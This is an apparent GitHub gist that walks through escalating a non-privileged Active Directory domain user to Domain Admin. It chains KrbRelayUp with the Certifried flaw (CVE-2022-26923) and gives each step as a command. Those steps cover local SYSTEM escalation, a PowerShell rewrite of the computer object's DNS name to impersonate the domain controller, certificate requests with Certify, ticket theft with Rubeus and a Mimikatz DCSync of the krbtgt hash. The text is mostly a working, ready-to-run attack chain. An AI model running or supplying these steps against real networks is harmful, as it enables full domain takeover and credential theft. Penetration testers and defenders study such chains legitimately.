Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save clod81/854c759b52d6b807cd2af9e0b1dc8d46 to your computer and use it in GitHub Desktop.
Save clod81/854c759b52d6b807cd2af9e0b1dc8d46 to your computer and use it in GitHub Desktop.
Certifried combined with KrbRelayUp: non-privileged domain user to Domain Admin without adding/pre-owning computer accounts

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

  • no LDAP signature enforcement on DCs (for the local privesc, making KrbRelay to LDAP work)
  • Active Directory Certificate Services (ADCS) running and configured (default is ok)
  • unpatched DC (for the Certifried attack)

Step-by-Step attack:

  1. For the sake of simplicity: use the awesome all-in-one tool KrbRelayUp for privilege escalation to local system on the domain-joined box where the attacker has non-privileged command execution capability:
KrbRelayUp.exe full -m shadowcred -f

This gives an elevated command prompt immediately (as NT Authority\System).

  1. Perform the computer object attributes abuse (remove SPNs and modify dNSHostName to a DC) in the elevated prompt. Using PowerShell ADSI Adapter for this task does not require any special dependencies:
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]'')
$searcher.filter = '(&(objectClass=computer)(sAMAccountName={0}$))' -f $Env:ComputerName
$obj = [ADSI]$searcher.FindAll().Path
$spn = @()
$obj.servicePrincipalName | % { $spn += $_ }
$dns = $obj.dNSHostName.ToString()     
$spn | % { $obj.servicePrincipalName.Remove($_) }
$obj.dNSHostName = "dc1.ecorp.local"
$obj.SetInfo()

Original state of the attributes are saved (in the $spn and $dns variables) for later restore.

  1. Request machine certificate for this abused computer using Certify (should get a cert for the DC!):
.\Certify.exe request /ca:dc1.ecorp.local\ecorp-dc1-ca /machine
  1. Restore computer attributes (still in the same PS session, previous variables should be available):
$obj.dNSHostName = $dns
$spn | % { $obj.servicePrincipalName.Add($_) }
$obj.SetInfo()
  1. Copy the private key with the certificate issued at step 3 as cert.pem to a (Linux) box running openssl and convert it to pfx (no need to set a password):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Note that this step may require a Linux box but it is not interacting with the targets, so it not breaks the full Windows path.

Convert the cert.pfx file to base64:

cat cert.pfx | base64 -w0
  1. Ask a Kerberos TGT using Rubeus with the certificate and PKINIT and inject it into the current session. This may be performed from original non-elevated shell:
.\Rubeus.exe asktgt /user:DC1$ /certificate:<base64 pfx> /ptt

Check the DC1$ (domain controller machine account) ticket in the session with klist:

klist
  1. DCSync with Mimikatz and get any hash. I prefer krbtgt (for golden tickets). :)
.\mimikatz.exe "lsadump::dcsync /domain:ecorp.local /user:krbtgt" exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment